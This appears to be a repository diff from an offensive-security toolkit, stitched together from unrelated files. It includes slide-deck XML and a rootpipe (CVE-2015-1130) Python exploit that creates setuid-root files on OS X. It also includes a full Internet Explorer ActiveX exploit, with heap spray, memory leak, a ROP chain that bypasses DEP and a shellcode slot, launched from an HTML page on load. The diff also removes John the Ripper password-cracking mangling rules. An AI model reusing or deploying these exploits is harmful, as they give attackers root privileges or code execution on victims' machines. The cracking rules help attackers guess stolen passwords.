idx="12"/></p:nvPr></p:nvSpPr><p:spPr/><p:txBody><a:bodyPr/><a:lstStyle/><a:p><a:fld id="{FDE0A223-AA89-463D-95C0-64ABE7403E02}" type="slidenum"><a:rPr lang="en-US" smtClean="0"/><a:pPr/><a:t>#</a:t></a:fld><a:endParaRPr lang="en-US"/></a:p></p:txBody></p:sp></p:spTree></p:cSld><p:clrMapOvr><a:masterClrMapping/></p:clrMapOvr></p:sldLayout>
@@ -0,0 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId8" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideLayout" Target="../slideLayouts/slideLayout8.xml"/><Relationship Id="rId3" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideLayout" Target="../slideLayouts/slideLayout3.xml"/><Relationship Id="rId7" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideLayout" Target="../slideLayouts/slideLayout7.xml"/><Relationship Id="rId12" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/theme" Target="../theme/theme1.xml"/><Relationship Id="rId2" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideLayout" Target="../slideLayouts/slideLayout2.xml"/><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideLayout" Target="../slideLayouts/slideLayout1.xml"/><Relationship Id="rId6" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideLayout" Target="../slideLayouts/slideLayout6.xml"/><Relationship Id="rId11" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideLayout" Target="../slideLayouts/slideLayout11.xml"/><Relationship Id="rId5" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideLayout" Target="../slideLayouts/slideLayout5.xml"/><Relationship Id="rId10" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideLayout" Target="../slideLayouts/slideLayout10.xml"/><Relationship Id="rId4" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideLayout" Target="../slideLayouts/slideLayout4.xml"/><Relationship Id="rId9" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideLayout" Target="../slideLayouts/slideLayout9.xml"/></Relationships>
File diff suppressed because one or more lines are too long
@@ -0,0 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId3" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject" Target="../embeddings/oleObject1.bin"/><Relationship Id="rId2" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideLayout" Target="../slideLayouts/slideLayout1.xml"/><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/vmlDrawing" Target="../drawings/vmlDrawing1.vml"/><Relationship Id="rId4" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image" Target="../media/image1.wmf"/></Relationships>
File diff suppressed because one or more lines are too long
@@ -0,0 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<a:tblStyleLst xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" def="{5C22544A-7EE6-4342-B048-85BDC9FD1C3A}"/>
File diff suppressed because one or more lines are too long
@@ -0,0 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<p:viewPr xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:p="http://schemas.openxmlformats.org/presentationml/2006/main"><p:normalViewPr><p:restoredLeft sz="15620"/><p:restoredTop sz="94660"/></p:normalViewPr><p:slideViewPr><p:cSldViewPr><p:cViewPr varScale="1"><p:scale><a:sx n="57" d="100"/><a:sy n="57" d="100"/></p:scale><p:origin x="-1242" y="-522"/></p:cViewPr><p:guideLst><p:guide orient="horz" pos="2160"/><p:guide pos="2880"/></p:guideLst></p:cSldViewPr></p:slideViewPr><p:notesTextViewPr><p:cViewPr><p:scale><a:sx n="100" d="100"/><a:sy n="100" d="100"/></p:scale><p:origin x="0" y="0"/></p:cViewPr></p:notesTextViewPr><p:gridSpacing cx="76200" cy="76200"/></p:viewPr>
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
+73
View File
@@ -0,0 +1,73 @@
########################################################
#
# PoC exploit code for rootpipe (CVE-2015-1130)
#
# Created by Emil Kvarnhammar, TrueSec
#
# Tested on OS X 10.7.5, 10.8.2, 10.9.5 and 10.10.2
#
########################################################
import os
import sys
import platform
import re
import ctypes
import objc
import sys
from Cocoa import NSData, NSMutableDictionary, NSFilePosixPermissions
from Foundation import NSAutoreleasePool
def load_lib(append_path):
return ctypes.cdll.LoadLibrary("/System/Library/PrivateFrameworks/" + append_path);
def use_old_api():
return re.match("^(10.7|10.8)(.\d)?$", platform.mac_ver()[0])
args = sys.argv
if len(args) != 3:
print "usage: exploit.py source_binary dest_binary_as_root"
sys.exit(-1)
source_binary = args[1]
dest_binary = os.path.realpath(args[2])
if not os.path.exists(source_binary):
raise Exception("file does not exist!")
pool = NSAutoreleasePool.alloc().init()
attr = NSMutableDictionary.alloc().init()
attr.setValue_forKey_(04777, NSFilePosixPermissions)
data = NSData.alloc().initWithContentsOfFile_(source_binary)
print "will write file", dest_binary
if use_old_api():
adm_lib = load_lib("/Admin.framework/Admin")
Authenticator = objc.lookUpClass("Authenticator")
ToolLiaison = objc.lookUpClass("ToolLiaison")
SFAuthorization = objc.lookUpClass("SFAuthorization")
authent = Authenticator.sharedAuthenticator()
authref = SFAuthorization.authorization()
# authref with value nil is not accepted on OS X <= 10.8
authent.authenticateUsingAuthorizationSync_(authref)
st = ToolLiaison.sharedToolLiaison()
tool = st.tool()
tool.createFileWithContents_path_attributes_(data, dest_binary, attr)
else:
adm_lib = load_lib("/SystemAdministration.framework/SystemAdministration")
WriteConfigClient = objc.lookUpClass("WriteConfigClient")
client = WriteConfigClient.sharedClient()
client.authenticateUsingAuthorizationSync_(None)
tool = client.remoteProxy()
tool.createFileWithContents_path_attributes_(data, dest_binary, attr, 0)
print "Done!"
del pool
@@ -11,7 +11,6 @@
require 'rubygems' # install rubygems
require 'hpricot' # gem install hpricot
require 'open-uri'
require 'timeout'
def usage
@@ -11,7 +11,7 @@
require 'rubygems' # install rubygems
require 'hpricot' # gem install hpricot
require 'open-uri'
require 'uri'
require 'timeout'
def usage
@@ -26,17 +26,17 @@ File.readlines(sitelist).each do |site|
site.strip!
next if site.length == 0
next if site =~ /^#/
out = File.join(output, site + ".txt")
File.unlink(out) if File.exists?(out)
fd = File.open(out, "a")
["", "www."].each do |prefix|
begin
Timeout.timeout(10) do
doc = Hpricot(open("http://#{prefix}#{site}/"))
Timeout.timeout(10) do
doc = Hpricot(URI.parse("http://#{prefix}#{site}/").open)
doc.search("//form").each do |form|
# Extract the form
@@ -78,9 +78,9 @@ File.readlines(sitelist).each do |site|
$stderr.puts "#{prefix}#{site} #{e.class} #{e}"
end
end
fd.close
File.unlink(out) if (File.size(out) == 0)
end
+126
View File
@@ -0,0 +1,126 @@
var Exploit = function () {
// create its vulnerable ActiveX object (as HTMLObjectElement)
this.obj = document.createElement("object");
this.obj.setAttribute("classid", "clsid:4B3476C6-185A-4D19-BB09-718B565FA67B");
// perform controlled memwrite to 0x1111f010: typed array header is at
// 0x1111f000 to 0x1111f030 => overwrite array data header @ 11111f010 with
// 0x00000001 0x00000004 0x00000040 0x1111f030 0x00
// The first 3 dwords are sideeffects due to the code we abuse for the
// controlled memcpy
this.whereAddress = 0x1111f010;
this.memory = null;
this.addresses = new Object();
this.sprayer = null;
this.informer = null;
this.sc = "<%=shellcode%>";
};
Exploit.prototype.run = function() {
CollectGarbage();
this.sprayer = new Sprayer();
this.sprayer.spray();
this.memory = this.doCorruption();
//alert(this.memory.length.toString(16))
if (this.memory.length != 0x7fffffff){
//alert("Cannot change Uint32Array length");
return -1;
}
// now we could even repair the change we did with memcpy ...
this.informer = new Informer(this.sprayer.corruptedArrayNext, this.memory, this.whereAddress);
var leakSuccess = this.leakAddresses();
if (leakSuccess != 0) {
//alert("Cannot leak required address to build the ROP chain");
return leakSuccess;
}
var ropBuilder = new RopBuilder(this.informer, this.addresses, this.sc.length);
ropBuilder.buildRop();
// manipulate object data to gain EIP control with "Play" method
var videopObj = this.memory[this.addresses['objAddress'] / 4 + 26];
this.memory[(videopObj - 0x10) / 4] = ropBuilder.ropAddress; // rop address will be used in EAX in below call
// eip control @ VideoPlayer.ocx + 0x6643B: CALL DWORD PTR [EAX+0x30] */
this.obj.Play()
};
Exploit.prototype.prepareOverflow = function() {
// prepare buffer with address we want to write to
var ptrBuf = "";
// fill buffer: length = relative pointer address - buffer start + pointer
// offset
while (ptrBuf.length < (0x92068 - 0x916a8 + 0xC)) { ptrBuf += "A" }
ptrBuf += this.dword2str(this.whereAddress);
return ptrBuf;
};
Exploit.prototype.doCorruption = function() {
var ptrBuf = this.prepareOverflow();
// trigger: overflow buffer and overwrite the pointer value after buffer
this.obj.SetText(ptrBuf, 0, 0);
//alert("buffer overflown => check PTR @ videop_1+92068: dc videop_1+92068")
// use overwritten pointer after buffer with method "SetFontName" to conduct
// memory write. We overwrite a typed array's header length to 0x40 and let
// its buffer point to the next typed array header at 0x1111f030 (see above)
this.obj.SetFontName(this.dword2str(this.whereAddress + 0x20)); // WHAT TO WRITE
if (this.sprayer.find() == -1){
//alert("cannot find corrupted Uint32Array");
return -1
}
// modify subsequent Uint32Array to be able to RW all process memory
this.sprayer.corruptedArray[6] = 0x7fffffff; // next Uint32Array length
this.sprayer.corruptedArray[7] = 0; // set buffer of next Uint32Array to start of process mem
// our memory READWRITE interface :)
return this.sprayer.fullMemory;
};
Exploit.prototype.leakAddresses = function() {
this.addresses['objAddress'] = this.informer.leakVideoPlayerAddress(this.obj);
this.addresses['base'] = this.informer.leakVideoPlayerBase(this.obj);
// check if we have the image of VideoPlayer.ocx
// check for MZ9000 header and "Vide" string at offset 0x6a000
if (this.memory[this.addresses['base'] / 4] != 0x905a4d ||
this.memory[(this.addresses['base'] + 0x6a000) / 4] != 0x65646956){
//alert("Cannot find VideoPlayer.ocx base or its version is wrong");
return -1;
}
//alert(this.addresses['base'].toString(16))
// get VirtualAlloc from imports of VideoPlayer.ocx
this.addresses['virtualAlloc'] = this.memory[(this.addresses['base'] + 0x69174)/4];
// memcpy is available inside VideoPlayer.ocx
this.addresses['memcpy'] = this.addresses['base'] + 0x15070;
//alert("0x" + this.addresses['virtualAlloc'].toString(16) + " " + "0x" + this.addresses['memcpy'].toString(16))
scBuf = new Uint8Array(this.sc.length);
for (n=0; n < this.sc.length; n++){
scBuf[n] = this.sc.charCodeAt(n);
}
this.addresses['shellcode'] = this.informer.leakShellcodeAddress(scBuf);
return 0;
};
// dword to little endian string
Exploit.prototype.dword2str = function(dword) {
var str = "";
for (var n=0; n < 4; n++){
str += String.fromCharCode((dword >> 8 * n) & 0xff);
}
return str;
};
+52
View File
@@ -0,0 +1,52 @@
var Informer = function(infArray, mem, ref) {
this.infoLeakArray = infArray;
this.memoryArray = mem;
this.referenceAddress = ref;
};
// Calculate VideoPlayer.ocx base
Informer.prototype.leakVideoPlayerBase = function(videoPlayerObj) {
this.infoLeakArray[0] = videoPlayerObj; // set HTMLObjectElement as first element
//alert(mem[0x11120020/4].toString(16))
var arrayElemPtr = this.memoryArray[(this.referenceAddress + 0x1010)/4]; // leak array elem. @ 0x11120020 (obj)
var objPtr = this.memoryArray[arrayElemPtr/4 + 6]; // deref array elem. + 0x18
var heapPtrVideoplayer = this.memoryArray[objPtr/4 + 25]; // deref HTMLObjectElement + 0x64
// deref heap pointer containing VideoPlayer.ocx pointer
var videoplayerPtr = this.memoryArray[heapPtrVideoplayer/4];
var base = videoplayerPtr - 0x6b3b0; // calculate base
return base;
};
// Calculate VideoPlayer object addres
Informer.prototype.leakVideoPlayerAddress = function(videoPlayerObj) {
this.infoLeakArray[0] = videoPlayerObj; // set HTMLObjectElement as first element
//alert(mem[0x11120020/4].toString(16))
var arrayElemPtr = this.memoryArray[(this.referenceAddress + 0x1010)/4]; // leak array elem. @ 0x11120020 (obj)
var objPtr = this.memoryArray[arrayElemPtr/4 + 6]; // deref array elem. + 0x18
return objPtr;
};
// Calculate the shellcode address
Informer.prototype.leakShellcodeAddress = function(shellcodeBuffer) {
this.infoLeakArray[0] = shellcodeBuffer;
// therefore, leak array element at 0x11120020 (typed array header of
// Uint8Array containing shellcode) ...
var elemPtr = this.memoryArray[(this.referenceAddress + 0x1010)/4];
// ...and deref array element + 0x1c (=> leak shellcode's buffer address)
var shellcodeAddr = this.memoryArray[(elemPtr/4) + 7]
return shellcodeAddr;
};
Informer.prototype.leakRopAddress = function(ropArray) {
this.infoLeakArray[0] = ropArray
// leak array element at 0x11120020 (typed array header)
var elemPtr = this.memoryArray[(this.referenceAddress + 0x1010)/4];
// deref array element + 0x1c (leak rop's buffer address)
var ropAddr = this.memoryArray[(elemPtr/4) + 7] // payload address
return ropAddr;
};
+38
View File
@@ -0,0 +1,38 @@
var RopBuilder = function(informer, addresses, scLength) {
this.rop = new Uint32Array(0x1000);
this.ropAddress = informer.leakRopAddress(this.rop);
this.base = addresses['base'];
this.virtualAlloc = addresses['virtualAlloc'];
this.memcpy = addresses['memcpy'];
this.scAddr = addresses['shellcode'];
this.scLength = scLength;
};
// Build the ROP chain to bypass DEP
RopBuilder.prototype.buildRop = function() {
// ROP chain (rets in comments are omitted)
// we perform:
// (void*) EAX = VirtualAlloc(0, dwSize, MEM_COMMIT, PAGE_RWX)
// memcpy(EAX, shellcode, shellcodeLen)
// (void(*)())EAX()
var offs = 0x30/4; // offset to chain after CALL [EAX+0x30]
this.rop[0] = this.base + 0x1ff6; // ADD ESP, 0x30;
this.rop[offs + 0x0] = this.base + 0x1ea1e; // XCHG EAX, ESP; <-- first gadget called
this.rop[offs + 0x1] = this.virtualAlloc; // allocate RWX mem (address avail. in EAX)
this.rop[offs + 0x2] = this.base + 0x10e9; // POP ECX; => pop the value at offs + 0x7
this.rop[offs + 0x3] = 0; // lpAddress
this.rop[offs + 0x4] = 0x4000; // dwSize (0x4000)
this.rop[offs + 0x5] = 0x1000; // flAllocationType (MEM_COMMIT)
this.rop[offs + 0x6] = 0x40; // flProtect (PAGE_EXECUTE_READWRITE)
this.rop[offs + 0x7] = this.ropAddress + (offs+0xe)*4; // points to memcpy's dst param (*2)
this.rop[offs + 0x8] = this.base + 0x1c743; // MOV [ECX], EAX; => set dst to RWX mem
this.rop[offs + 0x9] = this.base + 0x10e9; // POP ECX;
this.rop[offs + 0xa] = this.ropAddress + (offs+0xd)*4; // points to (*1) in chain
this.rop[offs + 0xb] = this.base + 0x1c743; // MOV [ECX], EAX; => set return to RWX mem
this.rop[offs + 0xc] = this.memcpy;
this.rop[offs + 0xd] = 0xffffffff; // (*1): ret addr to RWX mem filled at runtime
this.rop[offs + 0xe] = 0xffffffff; // (*2): dst for memcpy filled at runtime
this.rop[offs + 0xf] = this.scAddr; // shellcode src addr to copy to RWX mem (param2)
this.rop[offs + 0x10] = this.scLength; // length of shellcode (param3)
};
+58
View File
@@ -0,0 +1,58 @@
var Sprayer = function () {
// amount of arrays to create on the heap
this.nrArrays = 0x1000;
// size of data in one array block: 0xefe0 bytes =>
// subract array header (0x20) and space for typed array headers (0x1000)
// from 0x10000
this.arrSize = (0x10000-0x20-0x1000)/4;
// heap array container will hold our heap sprayed data
this.arr = new Array(this.nrArrays);
// use one buffer for all typed arrays
this.intArrBuf = new ArrayBuffer(4);
this.corruptedArray = null;
this.corruptedArrayNext = null;
};
// Spray the heap with array data blocks and subsequent typed array headers
// of type Uint32Array
Sprayer.prototype.spray = function() {
var k = 0;
while(k < this.nrArrays) {
// create "jscript9!Js::JavascriptArray" with blocksize 0xf000 (data
// aligned at 0xXXXX0020)
this.arr[k] = new Array(this.arrSize);
// fill remaining page (0x1000) after array data with headers of
// "jscript9!Js::TypedArray<unsigned int>" (0x55 * 0x30 = 0xff0) as a
// typed array header has the size of 0x30. 0x10 bytes are left empty
for(var i = 0; i < 0x55; i++){
// headers become aligned @ 0xXXXXf000, 0xXXXXf030, 0xXXXXf060,...
this.arr[k][i] = new Uint32Array(this.intArrBuf, 0, 1);
}
// tag the array's last element
this.arr[k][this.arrSize - 1] = 0x12121212;
k += 1;
}
};
// Find the corrupted Uint32Array (typed array)
Sprayer.prototype.find = function() {
var k = 0;
while(k < this.nrArrays - 1) {
for(var i = 0; i < 0x55-1; i++){
if(this.arr[k][i][0] != 0){
// address of jscript9!Js::TypedArray<unsigned int>::`vftable'
// alert("0x" + arr[k][i][0].toString(16))
this.corruptedArray = this.arr[k][i];
this.corruptedArrayNext = this.arr[k+1];
this.fullMemory = this.arr[k][i+1];
return 1;
}
}
k++;
}
return -1;
};
+11
View File
@@ -0,0 +1,11 @@
<!DOCTYPE html>
<html>
<head>
<script src="js/exploit.js"></script>
<script src="js/sprayer.js"></script>
<script src="js/informer.js"></script>
<script src="js/rop_builder.js"></script>
</head>
<body onload="e = new Exploit(); e.run();">
</body>
</html>
Binary file not shown.
File diff suppressed because one or more lines are too long
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
+496 -2321
View File
@@ -292,2327 +292,6 @@ l Az"19[6-0][9-0]" <+
# Prepend "pass"
A0"[pP][aA][sS][sS]"
# [List.Rules:KoreLogicRulesPrependYears]
A0"20[0-1][0-9]"
A0"19[3-9][0-9]"
# Notice: Your wordlist should likely be all lowercase - or you are wasting work
# [List.Rules:KoreLogicRulesAppendYears]
cAz"19[0-9][0-9]"
Az"19[0-9][0-9]"
cAz"20[01][0-9]"
Az"20[01][0-9]"
# [List.Rules:KoreLogicRulesPrependAndAppendSpecial]
cA0"[!$@#%.^&()_+\-={}|\[\]\\;':,/\<\>?`~*]"Az"[!$@#%.^&()_+\-={}|\[\]\\;':,/\<\>?`~*]"
A0"[!$@#%.^&()_+\-={}|\[\]\\;':,/\<\>?`~*]"Az"[!$@#%.^&()_+\-={}|\[\]\\;':,/\<\>?`~*]"
# [List.Rules:KoreLogicRulesAdd1234_Everywhere]
Az"1234"
>0A[0]"1234"
>1A[1]"1234"
>2A[2]"1234"
>3A[3]"1234"
>4A[4]"1234"
>5A[5]"1234"
>6A[6]"1234"
>7A[7]"1234"
>8A[8]"1234"
>9A[9]"1234"
# [List.Rules:KoreLogicRulesAdd123_Everywhere]
Az"123"
>0A[0]"123"
>1A[1]"123"
>2A[2]"123"
>3A[3]"123"
>4A[4]"123"
>5A[5]"123"
>6A[6]"123"
>7A[7]"123"
>8A[8]"123"
>9A[9]"123"
Az".com"
cAz".com"
Az".net"
cAz".net"
Az".org"
cAz".org"
# [List.Rules:KoreLogicRulesReplaceNumbers2Special]
/1s1!
/2s2@
/3s3#
/4s4$
/5s5%
/6s6^
/7s7&
/8s8*
/9s9(
/0s0)
/1s1!%12s2@
/1s1!%13s3#
/1s1!%14s4$
/1s1!%15s5%
/1s1!%16s6^
/1s1!%17s7&
/1s1!%18s8*
/1s1!%19s9(
/1s1!%10s0)
/2s2@%13s3#
/2s2@%14s4$
/2s2@%15s5%
/2s2@%16s6^
/2s2@%17s7&
/2s2@%18s8*
/2s2@%19s9(
/2s2@%10s0)
/3s3#%14s4$
/3s3#%15s5%
/3s3#%16s6^
/3s3#%17s7&
/3s3#%18s8*
/3s3#%19s9(
/3s3#%10s0)
/4s4$%15s5%
/4s4$%16s6^
/4s4$%17s7&
/4s4$%18s8*
/4s4$%19s9(
/4s4$%10s0)
/5s5%%16s6^
/5s5%%17s7&
/5s5%%18s8*
/5s5%%19s9(
/5s5%%10s0)
/6s6^%17s7&
/6s6^%18s8*
/6s6^%19s9(
/6s6^%10s0)
/7s7&%18s8*
/7s7&%19s9(
/7s7&%10s0)
/8s8*%19s9(
/8s8*%10s0)
/9s9(%10s0)
# [List.Rules:KoreLogicRulesReplaceNumbers]
/0s01
/0s02
/0s03
/0s04
/0s05
/0s06
/0s07
/0s08
/0s09
/1s10
/1s12
/1s13
/1s14
/1s15
/1s16
/1s17
/1s18
/1s19
/2s20
/2s21
/2s23
/2s24
/2s25
/2s26
/2s27
/2s28
/2s29
/3s30
/3s31
/3s32
/3s34
/3s35
/3s36
/3s37
/3s38
/3s39
/4s40
/4s41
/4s42
/4s43
/4s45
/4s46
/4s47
/4s48
/4s49
/5s50
/5s51
/5s52
/5s53
/5s54
/5s56
/5s57
/5s58
/5s59
/6s60
/6s61
/6s62
/6s63
/6s64
/6s65
/6s67
/6s68
/6s69
/7s70
/7s71
/7s72
/7s73
/7s74
/7s75
/7s76
/7s78
/7s79
/8s80
/8s81
/8s82
/8s83
/8s84
/8s85
/8s86
/8s87
/8s89
/9s90
/9s91
/9s92
/9s93
/9s94
/9s95
/9s96
/9s97
/9s98
# [List.Rules:KoreLogicRulesPrependJustSpecials]
cA0"[!$@#%.^&()_+\-={}|\[\]\\;':,/\<\>?`~*]"
A0"[!$@#%.^&()_+\-={}|\[\]\\;':,/\<\>?`~*]"
cA0"[!$@#%.^&()_+\-={}|\[\]\\;':,/\<\>?`~*][!$@#%.^&()_+\-={}|\[\]\\;':,/\<\>?`~*]"
A0"[!$@#%.^&()_+\-={}|\[\]\\;':,/\<\>?`~*][!$@#%.^&()_+\-={}|\[\]\\;':,/\<\>?`~*]"
# [List.Rules:KoreLogicRulesAppend1_AddSpecialEverywhere]
>4cA[0-5]"[!$@#%.^&()_+\-={}|\[\]\\;':,/\<\>?`~*]"Az"1"
>5cA[6]"[!$@#%.^&()_+\-={}|\[\]\\;':,/\<\>?`~*]"Az"1"
>6cA[7]"[!$@#%.^&()_+\-={}|\[\]\\;':,/\<\>?`~*]"Az"1"
>7cA[8]"[!$@#%.^&()_+\-={}|\[\]\\;':,/\<\>?`~*]"Az"1"
>8cA[9]"[!$@#%.^&()_+\-={}|\[\]\\;':,/\<\>?`~*]"Az"1"
>4A[0-5]"[!$@#%.^&()_+\-={}|\[\]\\;':,/\<\>?`~*]"Az"1"
>5A[6]"[!$@#%.^&()_+\-={}|\[\]\\;':,/\<\>?`~*]"Az"1"
>6A[7]"[!$@#%.^&()_+\-={}|\[\]\\;':,/\<\>?`~*]"Az"1"
>7A[8]"[!$@#%.^&()_+\-={}|\[\]\\;':,/\<\>?`~*]"Az"1"
>8A[9]"[!$@#%.^&()_+\-={}|\[\]\\;':,/\<\>?`~*]"Az"1"
A0"[dD]ev"
Az"[dD]ev"
A0"[uU]at"
Az"[uU]at"
A0"[pP]rod"
Az"[pP]rod"
A0"[tT]est"
Az"[tT]est"
/asa@[:c]
/asa4[:c]
/AsA4[:c]
/AsA@[:c]
/bsb8[:c]
/BsB8[:c]
/ese3[:c]
/EsE3[:c]
/isi1[:c]
/isi![:c]
/isi|[:c]
/IsI1[:c]
/IsI![:c]
/IsI|[:c]
/lsl1[:c]
/lsl7[:c]
/lsl|[:c]
/lsl![:c]
/Lsl1[:c]
/Lsl7[:c]
/Lsl|[:c]
/Lsl![:c]
/oso0[:c]
/OsO0[:c]
/sss$[:c]
/sss5[:c]
/SsS$[:c]
/SsS5[:c]
/tst+[:c]
/TsT+[:c]
/1s1![:c]
/1s1i[:c]
/1s1I[:c]
/1s1|[:c]
/0s0o[:c]
/0s0O[:c]
/3s3e[:c]
/3s3E[:c]
/4s4a[:c]
/4s4A[:c]
/5s5s[:c]
/5s5S[:c]
/7s7l[:c]
/7s7L[:c]
/8s8b[:c]
/8s8B[:c]
/asa@/bsb8[:c]
/asa@/BsB8[:c]
/asa@/ese3[:c]
/asa@/EsE3[:c]
/asa@/isi1[:c]
/asa@/isi![:c]
/asa@/isi|[:c]
/asa@/IsI1[:c]
/asa@/IsI![:c]
/asa@/IsI|[:c]
/asa@/lsl1[:c]
/asa@/lsl7[:c]
/asa@/lsl|[:c]
/asa@/lsl![:c]
/asa@/Lsl1[:c]
/asa@/Lsl7[:c]
/asa@/Lsl|[:c]
/asa@/Lsl![:c]
/asa@/oso0[:c]
/asa@/OsO0[:c]
/asa@/sss$[:c]
/asa@/sss5[:c]
/asa@/SsS$[:c]
/asa@/SsS5[:c]
/asa@/tst+[:c]
/asa@/TsT+[:c]
/asa@/1s1![:c]
/asa@/1s1i[:c]
/asa@/1s1I[:c]
/asa@/1s1|[:c]
/asa@/0s0o[:c]
/asa@/0s0O[:c]
/asa@/3s3e[:c]
/asa@/3s3E[:c]
/asa@/4s4a[:c]
/asa@/4s4A[:c]
/asa@/5s5s[:c]
/asa@/5s5S[:c]
/asa@/7s7l[:c]
/asa@/7s7L[:c]
/asa@/8s8b[:c]
/asa@/8s8B[:c]
/asa4/AsA4[:c]
/asa4/AsA@[:c]
/asa4/bsb8[:c]
/asa4/BsB8[:c]
/asa4/ese3[:c]
/asa4/EsE3[:c]
/asa4/isi1[:c]
/asa4/isi![:c]
/asa4/isi|[:c]
/asa4/IsI1[:c]
/asa4/IsI![:c]
/asa4/IsI|[:c]
/asa4/lsl1[:c]
/asa4/lsl7[:c]
/asa4/lsl|[:c]
/asa4/lsl![:c]
/asa4/Lsl1[:c]
/asa4/Lsl7[:c]
/asa4/Lsl|[:c]
/asa4/Lsl![:c]
/asa4/oso0[:c]
/asa4/OsO0[:c]
/asa4/sss$[:c]
/asa4/sss5[:c]
/asa4/SsS$[:c]
/asa4/SsS5[:c]
/asa4/tst+[:c]
/asa4/TsT+[:c]
/asa4/1s1![:c]
/asa4/1s1i[:c]
/asa4/1s1I[:c]
/asa4/1s1|[:c]
/asa4/0s0o[:c]
/asa4/0s0O[:c]
/asa4/3s3e[:c]
/asa4/3s3E[:c]
/asa4/4s4a[:c]
/asa4/4s4A[:c]
/asa4/5s5s[:c]
/asa4/5s5S[:c]
/asa4/7s7l[:c]
/asa4/7s7L[:c]
/asa4/8s8b[:c]
/asa4/8s8B[:c]
/AsA4/asa@[:c]
/AsA4/asa4[:c]
/AsA4/BsB8[:c]
/AsA4/ese3[:c]
/AsA4/EsE3[:c]
/AsA4/isi1[:c]
/AsA4/isi![:c]
/AsA4/isi|[:c]
/AsA4/IsI1[:c]
/AsA4/IsI![:c]
/AsA4/IsI|[:c]
/AsA4/lsl1[:c]
/AsA4/lsl7[:c]
/AsA4/lsl|[:c]
/AsA4/lsl![:c]
/AsA4/Lsl1[:c]
/AsA4/Lsl7[:c]
/AsA4/Lsl|[:c]
/AsA4/Lsl![:c]
/AsA4/oso0[:c]
/AsA4/OsO0[:c]
/AsA4/sss$[:c]
/AsA4/sss5[:c]
/AsA4/SsS$[:c]
/AsA4/SsS5[:c]
/AsA4/tst+[:c]
/AsA4/TsT+[:c]
/AsA4/1s1![:c]
/AsA4/1s1i[:c]
/AsA4/1s1I[:c]
/AsA4/1s1|[:c]
/AsA4/0s0o[:c]
/AsA4/0s0O[:c]
/AsA4/3s3e[:c]
/AsA4/3s3E[:c]
/AsA4/4s4a[:c]
/AsA4/4s4A[:c]
/AsA4/5s5s[:c]
/AsA4/5s5S[:c]
/AsA4/7s7l[:c]
/AsA4/7s7L[:c]
/AsA4/8s8b[:c]
/AsA4/8s8B[:c]
/AsA@/asa@[:c]
/AsA@/asa4[:c]
/AsA@/bsb8[:c]
/AsA@/BsB8[:c]
/AsA@/ese3[:c]
/AsA@/EsE3[:c]
/AsA@/isi1[:c]
/AsA@/isi![:c]
/AsA@/isi|[:c]
/AsA@/IsI1[:c]
/AsA@/IsI![:c]
/AsA@/IsI|[:c]
/AsA@/lsl1[:c]
/AsA@/lsl7[:c]
/AsA@/lsl|[:c]
/AsA@/lsl![:c]
/AsA@/Lsl1[:c]
/AsA@/Lsl7[:c]
/AsA@/Lsl|[:c]
/AsA@/Lsl![:c]
/AsA@/oso0[:c]
/AsA@/OsO0[:c]
/AsA@/sss$[:c]
/AsA@/sss5[:c]
/AsA@/SsS$[:c]
/AsA@/SsS5[:c]
/AsA@/tst+[:c]
/AsA@/TsT+[:c]
/AsA@/1s1![:c]
/AsA@/1s1i[:c]
/AsA@/1s1I[:c]
/AsA@/1s1|[:c]
/AsA@/0s0o[:c]
/AsA@/0s0O[:c]
/AsA@/3s3e[:c]
/AsA@/3s3E[:c]
/AsA@/4s4a[:c]
/AsA@/4s4A[:c]
/AsA@/5s5s[:c]
/AsA@/5s5S[:c]
/AsA@/7s7l[:c]
/AsA@/7s7L[:c]
/AsA@/8s8b[:c]
/AsA@/8s8B[:c]
/bsb8/asa@[:c]
/bsb8/asa4[:c]
/bsb8/AsA4[:c]
/bsb8/AsA@[:c]
/bsb8/BsB8[:c]
/bsb8/ese3[:c]
/bsb8/EsE3[:c]
/bsb8/isi1[:c]
/bsb8/isi![:c]
/bsb8/isi|[:c]
/bsb8/IsI1[:c]
/bsb8/IsI![:c]
/bsb8/IsI|[:c]
/bsb8/lsl1[:c]
/bsb8/lsl7[:c]
/bsb8/lsl|[:c]
/bsb8/lsl![:c]
/bsb8/Lsl1[:c]
/bsb8/Lsl7[:c]
/bsb8/Lsl|[:c]
/bsb8/Lsl![:c]
/bsb8/oso0[:c]
/bsb8/OsO0[:c]
/bsb8/sss$[:c]
/bsb8/sss5[:c]
/bsb8/SsS$[:c]
/bsb8/SsS5[:c]
/bsb8/tst+[:c]
/bsb8/TsT+[:c]
/bsb8/1s1![:c]
/bsb8/1s1i[:c]
/bsb8/1s1I[:c]
/bsb8/1s1|[:c]
/bsb8/0s0o[:c]
/bsb8/0s0O[:c]
/bsb8/3s3e[:c]
/bsb8/3s3E[:c]
/bsb8/4s4a[:c]
/bsb8/4s4A[:c]
/bsb8/5s5s[:c]
